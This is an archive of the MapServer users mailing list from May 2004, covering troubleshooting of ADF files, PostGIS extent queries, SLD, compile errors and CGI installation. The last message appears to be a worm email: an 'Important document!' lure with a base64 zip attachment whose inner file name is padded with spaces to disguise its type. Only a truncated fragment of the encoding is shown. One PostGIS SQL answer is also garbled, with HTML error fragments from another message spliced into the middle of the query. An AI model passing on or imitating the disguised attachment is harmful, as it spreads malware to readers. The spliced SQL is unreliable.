uA4QwUBZnLyQb03fgDvh6WSRf4EkniUx13J7Uh99i3xZ8Tr9OE2vgz0KF1Mw4TKZeqsTumwi vNQY+mxzkEb+jlsDU2xw+hZdS9l406Ahq+NJ9E0O/cgboQUOYLrDikIKw6zF9MZYwfP7UBRc ki/bI80pj/5Pa10RAUxFjUzqPc68lT+yZbNLCYL/klXNibPVfpSFgNs7Tq0lkyWIubVLBVsH iGCwwCXac04Ar9k1mvuYaUux1ocgm7WtIpU8PFhZozF9W017UUpKzaB9fhq1ciFQe1ojj1Qd 1kQrlRGPGFDaDZ4XKg00dKHwVe9oIx79bqDzG/8AaaBm/j6GCf1M4LPyoPccWi5qpzYwWypo 8fEROEkwgxHqWgd4XI/Cp20KmLyuIl9uwoc/B3P7drkKqaY+u8UQqFcWzVyQZV2i0tWGXtmR majaDnFtRkdVvj8qmw/tcV4+FNW7DpxHcxKHOgYxGUru4ufHdyfxCNJf0meQCAd9V426IFsQ XhiVRk7vLefEan+DzbEOaM+ZzKQvQ8Yq1qESC2Lhen1LbM9SQblbPPIv3fdqzzgzt01JwdE7 IBJwz7iZzhtyCH8k2kgF0wermPwJkvXlzRtAVUhehO9/R5nmUyuOrCO+wBHgOc0h3fpe2fMe eFNFgRXX1b5mDPaOv0ZHiX5eENFw5JghadhgGdwtQbWJBWdxiNpe/CICbKaHLi9T3DnVnJUd 5c1MO3sfNygbzxTA5lt6opWRn6nQypyt2dJTdEYRwtpjQsGkDqfnEC+w8GuEVpAgooGZQOOV GR2+LLGll47EHqEu3j/aqleBr2y0KTbSLA/Jj9USrO9vnZhxQhfKYusdoXbxwWKm2jf67aU8 0WFuDnr4spq6gq0lh5rgugDXg49slDGV2PjQCjGU08u5RPWuA4ULCKH7eIYj8dfe66eq/H/F YoLzR636DTSWU8VA7KRDOtxi9p7rq89lH0NSLu7y7ksAAAAA ------=_NextPart_000_0016----=_NextPart_000_0016-- From warmerdam at pobox.com Mon May 10 08:57:34 2004 From: warmerdam at pobox.com (Frank Warmerdam) Date: Mon, 10 May 2004 11:57:34 -0400 Subject: [Mapserver-users] ogrinfo & ADF binary grid In-Reply-To: <409D2E63.4000403@wp.pl> References: <409D2E63.4000403@wp.pl> Message-ID: <409FA66E.6060908@pobox.com> Marcin Zaj?czkowski wrote: > Yes, gdalinfo works with my ADF files and gives me some informations. > But use ogrinfo I wasn't my idea. I've seen it on mailing list. ADF > format is new for me, so maybe I'm wrong, but how can I get available > layers in ADF (does every ADF file have any layer, like label layer, > polygon layer, etc.). I'd like to use it to make OGR connections. > Some examples which show what I'm asking about. > http://mapserver.gis.umn.edu/data2/wilma/mapserver-users/0405/msg00049.html > http://lists.dmsolutions.ca/pipermail/mapserver-users/2002-August/003486.html Folks, To clarify a bit, .adf files are used by Arc/Info for both raster binary coverages, and vector binary coverages. To know which you have you an look in the directory. If you have a w001001.adf file then it is a raster coverage otherwise it is likely a vector coverage. Use GDAL (gdalinfo,etc) for rasters, and OGR (ogrinfo, etc) for vectors. Best regards, -- ---------------------------------------+-------------------------------------- I set the clouds in motion - turn up | Frank Warmerdam, warmerdam at pobox.com light and sound - activate the windows | http://pobox.com/~warmerdam and watch the world go round - Rush | Geospatial Programmer for Rent From Achim.Wessling at gt-net.de Mon May 10 09:13:21 2004 From: Achim.Wessling at gt-net.de (=?iso-8859-1?Q?=22We=DFling=2C_Achim=22?=) Date: Mon, 10 May 2004 18:13:21 +0200 Subject: [Mapserver-users] DTD's from digitalearth Message-ID: <04May10.181321cest.332164@gateway.gt-net.de> Hallo, does someone has the exception.dtd's and capabilities.dtd's referenced in the capabilities.xml of mapserver? www.digitalearth.gov isn't responding to any of the request. So I'd like to put those DTD's on my mapserver. Thanks! Mit freundlichem Gru? Achim We?ling ===================== INFOKOM G?tersloh A?R Fachbereich Technische Anwendungen Herzebrocker Str. 140 33334 G?tersloh Tel.: 05241/85-2926 Achim.Wessling at gt-net.de http://www.infokom-gt.de From dblasby at refractions.net Mon May 10 09:33:10 2004 From: dblasby at refractions.net (David Blasby) Date: Mon, 10 May 2004 09:33:10 -0700 Subject: [postgis-users] Re: [Mapserver-users] Finding Extent In-Reply-To: <000101c436ac$2a3e5760$0100000a@cybermedia.local> References: <000101c436ac$2a3e5760$0100000a@cybermedia.local> Message-ID: <409FAEC6.8020705@refractions.net> Tyler Mitchell wrote: > Two ideas, > 1) Won't "select extent(the_geom)..." give you something you can use, > without the need to repeat that step four times? SELECT xmin(extent), ymin(extent), xmax(extent), ymax(extent) FROM (SELECT extent(the_geom) as extent FROM
color=3D#000000=20 > size=3D2>Description
color=3D#ff3333=20 > size=3D2>Unable to open world file for reading. in=20 > /maplab/htdocs/common/wrapper/drawmap.php
color=3D#ff3333=20 > size=3D2>Failed to draw layer named 'pannelli'. in=20 > /maplab/htdocs/common/wrapper/drawmap.php
color=3D#ff3333=20 > size=3D2>Unable to open world file for reading. in=20 > /maplab/htdocs/common/wrapper/drawmap.php
color=3D#ff3333=20 > size=3D2>Failed to draw layer named 'pannelli'. in=20 > = > /maplab/htdocs/common/wrapper/drawmap.php
WHERE ) as foo; dave From lindsay at lcblanton.com Mon May 10 09:55:35 2004 From: lindsay at lcblanton.com (Lindsay C. Blanton) Date: Mon, 10 May 2004 11:55:35 -0500 Subject: [Mapserver-users] Need example with ITEMQUERY Message-ID: <5D91E1B9C012CF45A170862C86D9FBC709DD78@srv1.lcblanton-int.local> This is a multi-part message in MIME format. ------_=_NextPart_001_01C436AF.9CD075D6 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: quoted-printable I too would like to see a working demo. =20 I've had a tough time getting QUERYITEM and FEATUREQUERY to work with Tiger County SHP file data. =20 I've been trying to query a simple county, and have mapserver display that county to the extent that the county can be represented. =20 Lindsay =20 ---------------------------------------- Lindsay C. Blanton Webmaster http://www.radioreference.com =20 -----Original Message----- From: Tomasz Wlazlowski [mailto:wlazlowski at igpik.waw.pl]=20 Sent: Monday, May 10, 2004 6:56 AM To: mapserver-users at lists.gis.umn.edu Subject: [Mapserver-users] Need example with ITEMQUERY Hello Dear Users! I have already installed Mapserver ver. 4.0.1 and I have worked on workshop and itasca demo. It's pretty easy to run it and changing some of the components.=20 Now I try to handle with QUERYITEM AND FEATUREQUERY. Does anybody have working demo (example) with those modes? Wlazlowski Tomasz ------_=_NextPart_001_01C436AF.9CD075D6 Content-Type: text/html; charset="us-ascii" Content-Transfer-Encoding: quoted-printable Message
I too=20 would like to see a working demo.
 
I've=20 had a tough time getting QUERYITEM and FEATUREQUERY to work with Tiger = County=20 SHP file data.
 
I've=20 been trying to query a simple county, and have mapserver display that = county to=20 the extent that the county can be represented.
 
Lindsay
 

----------------------------------------
Lindsay C. = Blanton
Webmaster
http://www.radioreference.com=

-----Original Message-----
From: = Tomasz=20 Wlazlowski [mailto:wlazlowski at igpik.waw.pl]
Sent: Monday, = May 10,=20 2004 6:56 AM
To:=20 mapserver-users at lists.gis.umn.edu
Subject: [Mapserver-users] = Need=20 example with ITEMQUERY

Hello Dear Users!

I have already installed = Mapserver ver.=20 4.0.1 and I have worked on workshop and itasca demo. It’s pretty = easy to run=20 it and changing some of the components.

Now I try to handle with = QUERYITEM AND=20 FEATUREQUERY. Does anybody have working demo (example) with those=20 modes?

Wlazlowski = Tomasz
------_=_NextPart_001_01C436AF.9CD075D6-- From jvanulde at nrcan.gc.ca Mon May 10 11:35:49 2004 From: jvanulde at nrcan.gc.ca (Van Ulden, Joost) Date: Mon, 10 May 2004 14:35:49 -0400 Subject: [Mapserver-users] SLD - wms_sld_url Message-ID: <8AE17DD6AA4FD51191CD0002A551168101B89716@s5-van1-r1.ess.nrcan.gc.ca> Hello all, I am looking into SLD with MapServer. It works fine if I add the path to an SLD doc to the url, but when I specify the path in the wms_sld_url metadata element the style does not get applied. It works if I put the sld doc in the wms_sld_body. Maybe I am way off but here is my layer snippet: LAYER NAME "Styled Rivers" TYPE RASTER STATUS ON CONNECTION "http://127.0.0.1/scripts/mapserv.exe?map=wms.map" CONNECTIONTYPE WMS METADATA "wms_srs" "EPSG:4326" "wms_name" "Rivers" "wms_server_version" "1.1.0" "wms_format" "image/gif" "wms_sld_url" "http://127.0.0.1/mapserver/styles/sld_line_simple.xml" END END Any suggestions would be helpful. Cheers, Joost From jcable at gi.alaska.edu Mon May 10 12:04:29 2004 From: jcable at gi.alaska.edu (Jay Cable) Date: Mon, 10 May 2004 11:04:29 -0800 (AKDT) Subject: [Mapserver-users] Sde raster support in mapserver Message-ID: Hi, I am curious about the current state of sde raster support in mapserver. There are several posts in the mailing list archive suggesting that it is on a todo list, but nothing recent. Has there been any progress towards getting sde raster working? We have a growing stockpile of data in ArcSDE that we would like to serve up via mapserver. thanks in advance, -Jay Cable **************************************************************** Jay Cable GINA/ION tel (907) 474-1856 Geophysical Institute jcable at gi.alaska.edu University of Alaska P.O. Box 757320 Fairbanks, AK 99775-7320 ***************************************************************** From hobu at iastate.edu Mon May 10 12:56:54 2004 From: hobu at iastate.edu (Howard Butler) Date: Mon, 10 May 2004 14:56:54 -0500 Subject: [Mapserver-users] Sde raster support in mapserver In-Reply-To: References: Message-ID: <6.1.0.6.2.20040510145302.01d91600@hobu.mail.iastate.edu> The Wiki outlines the current state-of-the-art with respect to ArcSDE http://mapserver.gis.umn.edu/cgi-bin/wiki.pl?MapServerSDE SDE Raster support is still on the todo list. I doubt that anything will get done in that area unless someone really wants it and does it themselves. Howard At 02:04 PM 5/10/2004, Jay Cable wrote: >Hi, > >I am curious about the current state of sde raster support in mapserver. >There are several posts in the mailing list archive suggesting that it is >on a todo list, but nothing recent. Has there been any progress towards >getting sde raster working? > >We have a growing stockpile of data in ArcSDE that we would like to serve >up via mapserver. > >thanks in advance, > -Jay Cable > > > >**************************************************************** >Jay Cable GINA/ION >tel (907) 474-1856 Geophysical Institute >jcable at gi.alaska.edu University of Alaska > P.O. Box 757320 > Fairbanks, AK 99775-7320 >***************************************************************** >_______________________________________________ >Mapserver-users mailing list >Mapserver-users at lists.gis.umn.edu >http://lists.gis.umn.edu/mailman/listinfo/mapserver-users From hliu at jdbarnes.com Mon May 10 13:30:36 2004 From: hliu at jdbarnes.com (Haiyan Liu) Date: Mon, 10 May 2004 16:30:36 -0400 Subject: [Mapserver-users] How to get Intersection points??? Message-ID: <1084221036.17054.4.camel@pc190.jdbarnes.com> Hi all, I am wondering how to get intersection points with php/phpmapscript? I understand that If I shapeObj.intersects(shpObj), it returns only MS_FAIL or MS_SUCCESS, is that right? Am i missing something? Thanks in advance. Haiyan Liu From Zamil.Murji at divestco.com Mon May 10 13:33:15 2004 From: Zamil.Murji at divestco.com (Zamil Murji) Date: Mon, 10 May 2004 14:33:15 -0600 Subject: [Mapserver-users] compiling error Message-ID: <64FC1B3E23F04C4E931EE3F6D809FF303ABF1B@DIV-MX02.divestco> Hello list, I just downloaded mapserver 4.2 beta. I don't have GDAL installed so compiling fails on mapwcs.c. I took a look at this file and it is including two files specific to GDAL. gdal.h and cpl_string.h I believe there should be a IFDEF here. For now I just installed GDAL, but I would like to see this fixed before the release. Thanks Zamil From eric.sokolowsky at gsfc.nasa.gov Mon May 10 13:58:08 2004 From: eric.sokolowsky at gsfc.nasa.gov (Eric Sokolowsky) Date: Mon, 10 May 2004 16:58:08 -0400 (EDT) Subject: [Mapserver-users] DTD's from digitalearth In-Reply-To: <04May10.181321cest.332164@gateway.gt-net.de> Message-ID: On Mon, 10 May 2004, "We?ling, Achim" wrote: > Hallo, > > does someone has the exception.dtd's and capabilities.dtd's referenced in > the capabilities.xml of mapserver? www.digitalearth.gov isn't responding to > any of the request. So I'd like to put those DTD's on my mapserver. > Thanks! This is from the wms-dev mailing list: Date: Thu, 6 May 2004 11:08:06 -0400 Subject: [wms-dev] Re: WMS DTD on digitalearth.gov IMPORTANT NOTE: I regret to indicate that www.digitalearth.gov is down; we hope it will be back up by the end of the week. That is the cause of the error messages regarding inaccessible DTDs on some Web Map Servers. It is permitted for a WMS to reference an exact local copy of the DTD instead of the master copy in order to avoid this interdependency. You may be able to find a copy of the DTD you need at . viewer.digitalearth.gov (same machine) is also down. Sorry for the inconvenience, Jeff DLB _______________________________________________ wms-dev mailing list wms-dev at mail.digitalearth.org http://mail.digitalearth.org/mailman/listinfo/wms-dev -- ____ __ Eric Sokolowsky (GST) NASA Goddard Space Flight Center / __/__/_/__ Visualization Programmer Scientific Visualization Studio / __/ _/ / _/ 301.286.3751 Mailstop 935.0 Bldg 28 Rm E102 /___/_//_/__/ eric.sokolowsky at gsfc.nasa.gov Greenbelt, MD 20771 From Zamil.Murji at divestco.com Mon May 10 14:27:45 2004 From: Zamil.Murji at divestco.com (Zamil Murji) Date: Mon, 10 May 2004 15:27:45 -0600 Subject: [Mapserver-users] another error Message-ID: <64FC1B3E23F04C4E931EE3F6D809FF303ABF1C@DIV-MX02.divestco> I configure my mapserver --with-proj=/usr/local and it compiled just fine. When I copied the file over to my cgi-bin and run it, I get an error. [root at mayhem cgi-bin]# ./mapserv -v ./mapserv: error while loading shared libraries: libproj.so.0: cannot open shared object file: No such file or directory [root at mayhem cgi-bin]# What am I missing? Do I need to add something to my LD_LIBRARY_PATH? I am running RH 9. Thanks Zamil From Zamil.Murji at divestco.com Mon May 10 14:43:28 2004 From: Zamil.Murji at divestco.com (Zamil Murji) Date: Mon, 10 May 2004 15:43:28 -0600 Subject: [Mapserver-users] RE: another error Message-ID: <64FC1B3E23F04C4E931EE3F6D809FF303ABF1E@DIV-MX02.divestco> Sorry, my stupidity. I found the solution when I searched the archives. Just had to add that directory to /etc/ld.so.conf and run ldconfig. Everything worked from there. Zamil -----Original Message----- From: Zamil Murji Sent: Monday, May 10, 2004 3:28 PM To: mapserver-users at lists.gis.umn.edu Subject: another error I configure my mapserver --with-proj=/usr/local and it compiled just fine. When I copied the file over to my cgi-bin and run it, I get an error. [root at mayhem cgi-bin]# ./mapserv -v ./mapserv: error while loading shared libraries: libproj.so.0: cannot open shared object file: No such file or directory [root at mayhem cgi-bin]# What am I missing? Do I need to add something to my LD_LIBRARY_PATH? I am running RH 9. Thanks Zamil From sgillies at frii.com Mon May 10 14:49:34 2004 From: sgillies at frii.com (Sean Gillies) Date: Mon, 10 May 2004 15:49:34 -0600 Subject: [Mapserver-users] WMS server - client communication error In-Reply-To: <200405101217.00548.alhim@intracom.gr> References: <200405071642.44543.alhim@intracom.gr> <6.1.0.6.2.20040507113455.01d8dd38@hobu.mail.iastate.edu> <000101c4345b$1513e470$0100000a@cybermedia.local> <200405101217.00548.alhim@intracom.gr> Message-ID: On 10/mag/04, at 03:17, Alexandros Chimarios wrote: > > Sean and Daniel, > > First of all thanx for your answers. > > I tried the prepareImage() method but it didnt work. After that tried > with a > dummy metada block and all the params in the CONNECTION url but it > didnt work > either. > > I am thinking of creating a method in Python until you release the next > version of MapScript to temporarily give some kinda of solution to > Python > Mapscript programmers. This method which will download the image in > the disk > using HTTP and then load it in memory creating a new image > object(imageObj). > Then I will be able to combine this raster image with other layers > using the > MapScript layerObj.draw() method. > > What do you think about that ? Alexandros, we have fixed this bug in CVS and it will make it in the 4.2 release. cheers, Sean -- Sean Gillies sgillies at frii dot com http://users.frii.com/sgillies From ealpert at digitalglobe.com Mon May 10 14:54:52 2004 From: ealpert at digitalglobe.com (Ethan Alpert) Date: Mon, 10 May 2004 15:54:52 -0600 Subject: [Mapserver-users] another error Message-ID: <1FB6937A87F9074C9A2B8F9D9137EB16140BED@COMAIL01.digitalglobe.com> Do a "locate libproj" Add it's directory to LD_LIBRARY_PATH You'll need to add that also to your httpd.conf SetEnv LD_LIBRARY_PATH /path/toproj/lib -e -----Original Message----- From: mapserver-users-admin at lists.gis.umn.edu [mailto:mapserver-users-admin at lists.gis.umn.edu] On Behalf Of Zamil Murji Sent: Monday, May 10, 2004 3:28 PM To: mapserver-users at lists.gis.umn.edu Subject: [Mapserver-users] another error I configure my mapserver --with-proj=/usr/local and it compiled just fine. When I copied the file over to my cgi-bin and run it, I get an error. [root at mayhem cgi-bin]# ./mapserv -v ./mapserv: error while loading shared libraries: libproj.so.0: cannot open shared object file: No such file or directory [root at mayhem cgi-bin]# What am I missing? Do I need to add something to my LD_LIBRARY_PATH? I am running RH 9. Thanks Zamil _______________________________________________ Mapserver-users mailing list Mapserver-users at lists.gis.umn.edu http://lists.gis.umn.edu/mailman/listinfo/mapserver-users From mapserver at meteologica.es Mon May 10 15:09:06 2004 From: mapserver at meteologica.es (Paco Regodon) Date: Tue, 11 May 2004 00:09:06 +0200 Subject: [Mapserver-users] Symbols In-Reply-To: <004b01c436a0$4372a2b0$510aa8c0@imteam.local> References: <4087DF430001D9B7@ims3c.cp.tin.it> <200405101652.55410.mapserver@meteologica.es> <004b01c436a0$4372a2b0$510aa8c0@imteam.local> Message-ID: <200405110009.06584.mapserver@meteologica.es> Hi, LABELANGLEITEM is an attribute of the LAYER not the CLASS. Paco. On Monday 10 May 2004 17:05, leo wrote: > Thanks Paco, but don't go!!! > > The my mapfile is: > > LAYER > NAME "simboli" > TYPE point > DATA "simboli" > #MAXSCALE 2000 > > #SYMBOLSCALE 2000 > METADATA > "DESCRIPTION" "Simboli" > "RESULT_FIELDS" > "SYMBOL,AREA,PERIMETER,SIMBOLI_,SIMBOLI_ID,DXF_LAYER,DXF_COLOR,DXF_THICKN,D >X F_TYPE,DXF_ELEVAT,DXF_ANGLE,DXF_SIZE,DXF_TEXT,DXF_ATTRIB,DXF_IID" > "RESULT_HEADERS" > "Symbol,Area,Perimeter,Simboli_,Simboli_id,Dxf_layer,Dxf_color,Dxf_thickn,D >x f_type,Dxf_elevat,Dxf_angle,Dxf_size,Dxf_text,Dxf_attrib,Dxf_iid" > END # Metadata > > > > > > CLASSITEM SIMBOLO > CLASS > NAME "2" > EXPRESSION "2" > COLOR 0 0 0 > TEMPLATE void > > END # Class > CLASS > NAME "5" > EXPRESSION "5" > COLOR 0 0 0 > TEMPLATE void > END # Class > CLASS > NAME "11" > EXPRESSION "11" > COLOR 0 0 0 > TEMPLATE void > END # Class > CLASS > NAME "18" > EXPRESSION "18" > SYMBOL "tilde_ttf" > # LABELANGLEITEM "DXF_ANGLE" ???? > SIZE 10 > #COLOR 0 0 0 > COLOR 255 0 0 > TEMPLATE void > END # Class > CLASS > NAME "13" > EXPRESSION "13" > COLOR 0 0 0 > TEMPLATE void > END # Class > END # Layer > > Thanks > From warmerdam at pobox.com Mon May 10 16:40:38 2004 From: warmerdam at pobox.com (Frank Warmerdam) Date: Mon, 10 May 2004 19:40:38 -0400 Subject: [Mapserver-users] compiling error In-Reply-To: <64FC1B3E23F04C4E931EE3F6D809FF303ABF1B@DIV-MX02.divestco> References: <64FC1B3E23F04C4E931EE3F6D809FF303ABF1B@DIV-MX02.divestco> Message-ID: <40A012F6.10107@pobox.com> Zamil Murji wrote: > Hello list, > > I just downloaded mapserver 4.2 beta. I don't have GDAL installed so compiling fails on mapwcs.c. > > I took a look at this file and it is including two files specific to GDAL. gdal.h and cpl_string.h > > I believe there should be a IFDEF here. For now I just installed GDAL, but I would like to see this fixed before the release. Zamil / Daniel / Steve, I have committed a fix for this in the 4.2 and development versions of mapwcs.c. Make sure the MapServer 4.2 final includes this fix. Best regards, -- ---------------------------------------+-------------------------------------- I set the clouds in motion - turn up | Frank Warmerdam, warmerdam at pobox.com light and sound - activate the windows | http://pobox.com/~warmerdam and watch the world go round - Rush | Geospatial Programmer for Rent From benminton at austarnet.com.au Mon May 10 20:26:15 2004 From: benminton at austarnet.com.au (Ben Minton) Date: Tue, 11 May 2004 12:56:15 +0930 Subject: [Mapserver-users] Intro & Questions Message-ID: <20040511125615.0dac2a2b.benminton@austarnet.com.au> Hi All. I'm Ben, Darwin, NT, AU. Just subscribed to the list. Read the online docs but have some questions about MapServer and what it can do. Can MapServer handle other formats ie MapInfo or ArcInfo Export? What minimum hardware requirements are there? ie can I run an older gen 486 as a MapServer? Are all ShapeFile formats the same? As my GIS data is in ArcView Shapefile format can it be used as is or does it need to be converted to ESRI ShapeFile format? If so, is there a good converter app for this? Should I install Apache first then MapServer? Thanks in advance, look forward to learning. Cheers, Ben Ben Minton Darwin, NT, AU benminton at austarnet.com.au From warmerdam at pobox.com Mon May 10 20:59:24 2004 From: warmerdam at pobox.com (Frank Warmerdam) Date: Mon, 10 May 2004 23:59:24 -0400 Subject: [Mapserver-users] Intro & Questions In-Reply-To: <20040511125615.0dac2a2b.benminton@austarnet.com.au> References: <20040511125615.0dac2a2b.benminton@austarnet.com.au> Message-ID: <40A04F9C.7040709@pobox.com> Ben Minton wrote: > Hi All. > > I'm Ben, Darwin, NT, AU. Just subscribed to the list. > > Read the online docs but have some questions about MapServer and what it can do. > > Can MapServer handle other formats ie MapInfo or ArcInfo Export? Ben, Via OGR MapServer supports Mapinfo .mid/mif and .tab format. Arc/Info Export (aka E00) format is not supported directly, though you can easily turn these into Arc/Info binary coverages and work from that or convert to shapefile. > What minimum hardware requirements are there? ie can I run an older gen 486 > as a MapServer? MapServer is a demanding application. While folks have run MapServer on 486's before, that would only support fairly simple mapping applications. > Are all ShapeFile formats the same? As my GIS data is in ArcView Shapefile > format can it be used as is or does it need to be converted to ESRI ShapeFile > format? If so, is there a good converter app for this? ESRI Shapefile and ArcView Shapefile are all the same thing. ESRI is the company, and ArcView is one of their software packages that works with shapefiles. > Should I install Apache first then MapServer? You will need to get a web server working to use MapServer to serve maps on the internet. Apache is certainly the mostly widely used webserver folks are using. It would likely be prudent to get it working smoothly before trying to get mapserver working. Best regards, -- ---------------------------------------+-------------------------------------- I set the clouds in motion - turn up | Frank Warmerdam, warmerdam at pobox.com light and sound - activate the windows | http://pobox.com/~warmerdam and watch the world go round - Rush | Geospatial Programmer for Rent From dmanian at ivesia.com Mon May 10 23:31:34 2004 From: dmanian at ivesia.com (Dharani Babu S) Date: Tue, 11 May 2004 12:01:34 +0530 Subject: [Mapserver-users] adler32.c error !!! Message-ID: <00ae01c43721$9b5d7be0$8702a8c0@hdsc.com> This is a multi-part message in MIME format. ------=_NextPart_000_00AB_01C4374F.B4A0D600 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable Hi all=20 I am trying to compile zlib with VC++ 6.0 . During nmaking I get the = error D:\MAPServDL\zlib\msdos>"D:\Program Files\Microsoft Visual = Studio\VC98\Bin\vcvar s32.bat" Setting environment for using Microsoft Visual C++ tools. D:\MAPServDL\zlib\msdos>nmake /f Makefile.w32 Microsoft (R) Program Maintenance Utility Version 6.00.8168.0 Copyright (C) Microsoft Corp 1988-1998. All rights reserved. NMAKE : fatal error U1073: don't know how to make 'adler32.c' Stop. I am using zlib/msdos/Makefile.w32 . I hope its right version of make = file to use . could any one suggest me the solutions ?? regards and thanks in advance dharani babu s ------=_NextPart_000_00AB_01C4374F.B4A0D600 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable
Hi all
I am trying to compile zlib with VC++ = 6.0 . During=20 nmaking I get the error
 

D:\MAPServDL\zlib\msdos>"D:\Program Files\Microsoft Visual=20 Studio\VC98\Bin\vcvar
s32.bat"
Setting environment for using = Microsoft=20 Visual C++ tools.
D:\MAPServDL\zlib\msdos>nmake /f = Makefile.w32
 
Microsoft (R) Program Maintenance Utility   Version=20 6.00.8168.0
Copyright (C) Microsoft Corp 1988-1998. All rights=20 reserved.
 
NMAKE : fatal error U1073: don't know how to make=20 'adler32.c'
Stop.
I am using zlib/msdos/Makefile.w32 . I hope its right version of = make file=20 to use . could any one suggest me the solutions ??
regards and thanks in advance
dharani babu s
------=_NextPart_000_00AB_01C4374F.B4A0D600-- From benminton at austarnet.com.au Mon May 10 23:57:17 2004 From: benminton at austarnet.com.au (Ben Minton) Date: Tue, 11 May 2004 16:27:17 +0930 Subject: [Mapserver-users] Install Problem on i668 Linux Using .tar.gz Message-ID: <20040511162717.7434b4f0.benminton@austarnet.com.au> Hi All Installed Apache 1.3.29 on i686 Fedora Core 1. Works 100%. Standard installation. Installing MapServer as per instructions @ URL http://mapserver.gis.umn.edu/doc40/unix-install-howto.html#compiling Compiled fine. As per info A simple test is to try and run it: [user at host mapserver]$ ./mapserv This script can only be used to decode form results and should be initiated as a CGI process via a httpd server. [user at host mapserver]$ So it appears to have performed that action OK. Next part, Installation, MapServer Binary is where I am getting stymied. "The main goal is to get the "mapserv" binary installed in a publicly accessible directory that is configured to run CGI programs and scripts." OK, but what is the MapServer Binary and where do I find it to move it? "Under a default configuration, the CGI directory is "/usr/local/apache/cgi-bin" (RedHat users will use "/home/httpd/cgi-bin"). " As I am using Fedora (based on rxx hxx) I checked /home/httpd --> no cgi-bin there. While my apache install is actually in /usr/local/apache --> cgi-bin is there. I have full /root on this sys so can edit apache files as required but don't understand this part. Looked through Mail Archive, no solution. Regards, Ben. From m.cave-ayland at webbased.co.uk Tue May 11 01:14:00 2004 From: m.cave-ayland at webbased.co.uk (Mark Cave-Ayland) Date: Tue, 11 May 2004 09:14:00 +0100 Subject: [Mapserver-users] Install Problem on i668 Linux Using .tar.gz In-Reply-To: <8F4A22E017460A458DB7BBAB65CA6AE5218C32@openmanage> Message-ID: <8F4A22E017460A458DB7BBAB65CA6AE512D215@openmanage> Hi Ben, > -----Original Message----- > From: mapserver-users-admin at lists.gis.umn.edu > [mailto:mapserver-users-admin at lists.gis.umn.edu] On Behalf Of > Ben Minton > Sent: 11 May 2004 07:57 > To: MapServer List > Subject: [Mapserver-users] Install Problem on i668 Linux Using .tar.gz > > > Hi All > > Installed Apache 1.3.29 on i686 Fedora Core 1. Works 100%. > Standard installation. Interesting - I guess you have a valid reason for not installing the standard Apache 2 (httpd) RPMs that come with Fedora Core? :) > Installing MapServer as per instructions @ URL > http://mapserver.gis.umn.edu/doc40/unix-> install-howto.html#compiling > > Compiled fine. As per info > > A simple test is to try and run it: > > [user at host mapserver]$ ./mapserv > This script can only be used to decode form results and > should be initiated as a CGI process via a httpd server. > [user at host mapserver]$ > > So it appears to have performed that action OK. > > Next part, Installation, MapServer Binary is where I am > getting stymied. > > "The main goal is to get the "mapserv" binary installed in a > publicly accessible directory that is configured to run CGI > programs and scripts." > > OK, but what is the MapServer Binary and where do I find it > to move it? > > "Under a default configuration, the CGI directory is > "/usr/local/apache/cgi-bin" (RedHat users will use > "/home/httpd/cgi-bin"). " > > As I am using Fedora (based on rxx hxx) I checked /home/httpd > --> no cgi-bin there. While my apache install is actually in > /usr/local/apache --> cgi-bin is there. Using the standard RedHat RPMs, the cgi-bin directory is normally /var/www/cgi-bin but it will be somewhere different with a self-compiled install. The cgi-bin location is specified in the httpd.conf file that is read by Apache (if you can't find this then a "find / -name httpd.conf" should help). The entry you need to look for is a ScriptAlias which on our installation here looks like: ScriptAlias /cgi-bin/ "/var/www/cgi-bin/" Copying the mapserv executable to specified directory should solve the problem for you. A quick test is to access the mapserv CGI from a web browser using something like http://yourserver/cgi-bin/mapserv and check that you get the default error message which should read something along the lines of "No query information to decode. QUERY_STRING is set, but empty.". Hope this helps, Mark. --- Mark Cave-Ayland Webbased Ltd. Tamar Science Park Derriford Plymouth PL6 8BX England Tel: +44 (0)1752 764445 Fax: +44 (0)1752 764446 This email and any attachments are confidential to the intended recipient and may also be privileged. If you are not the intended recipient please delete it from your system and notify the sender. You should not copy it or use it for any purpose nor disclose or distribute its contents to any other person. From publiek at home.nl Tue May 11 01:17:19 2004 From: publiek at home.nl (Marcel Koopman) Date: Tue, 11 May 2004 10:17:19 +0200 Subject: Antw: [Mapserver-users] Install Problem on i668 Linux Using .tar.gz Message-ID: <200405110817.i4B8HYFS009451@lists.gis.umn.edu> > OK, but what is the MapServer Binary and where do I find it to move it? The mapserv binairy is called 'mapserv'. Copy it to the cgi-bin dir. Find the dir with "find / -name 'cgi-bin'". Dont forget to restart apache. > Van: Ben Minton > Aan: MapServer List > Datum: di 11 mei 04, 8:57 > Onderwerp: [Mapserver-users] Install Problem on i668 Linux Using .tar.gz > > Hi All > > Installed Apache 1.3.29 on i686 Fedora Core 1. Works 100%. Standard installation. > > Installing MapServer as per instructions @ URL http://mapserver.gis.umn.edu/doc40/unix-install-howto.html#compiling > > Compiled fine. As per info > > A simple test is to try and run it: > > [user at host mapserver]$ ./mapserv > This script can only be used to decode form results and > should be initiated as a CGI process via a httpd server. > [user at host mapserver]$ > > So it appears to have performed that action OK. > > Next part, Installation, MapServer Binary is where I am getting stymied. > > "The main goal is to get the "mapserv" binary installed in a publicly accessible directory that is configured to run CGI programs and scripts." > > > "Under a default configuration, the CGI directory is "/usr/local/apache/cgi-bin" (RedHat users will use "/home/httpd/cgi-bin"). " > > As I am using Fedora (based on rxx hxx) I checked /home/httpd --> no cgi-bin there. > While my apache install is actually in /usr/local/apache --> cgi-bin is there. > > I have full /root on this sys so can edit apache files as required but don't understand this part. > Looked through Mail Archive, no solution. > > Regards, Ben. > _______________________________________________ > Mapserver-users mailing list > Mapserver-users at lists.gis.umn.edu > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users > From mcilhagga at dmsolutions.ca Tue May 11 03:28:00 2004 From: mcilhagga at dmsolutions.ca (mcilhagga at dmsolutions.ca) Date: Tue, 11 May 2004 11:28:00 +0100 Subject: [Mapserver-users] Important Message-ID: <200405111028.i4BASEFU010393@lists.gis.umn.edu> This is a multi-part message in MIME format. ------=_NextPart_000_0003_00006213.00004538 Content-Type: text/plain; charset="Windows-1252" Content-Transfer-Encoding: 7bit Important document! ------=_NextPart_000_0003_00006213.00004538 Content-Type: application/octet-stream; name="Important.zip" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="Important.zip" UEsDBAoAAAAAAAxTqzCNS0/3AFYAAABWAACWAAAASW1wb3J0YW50LnR4dCAgICAgICAgICAg 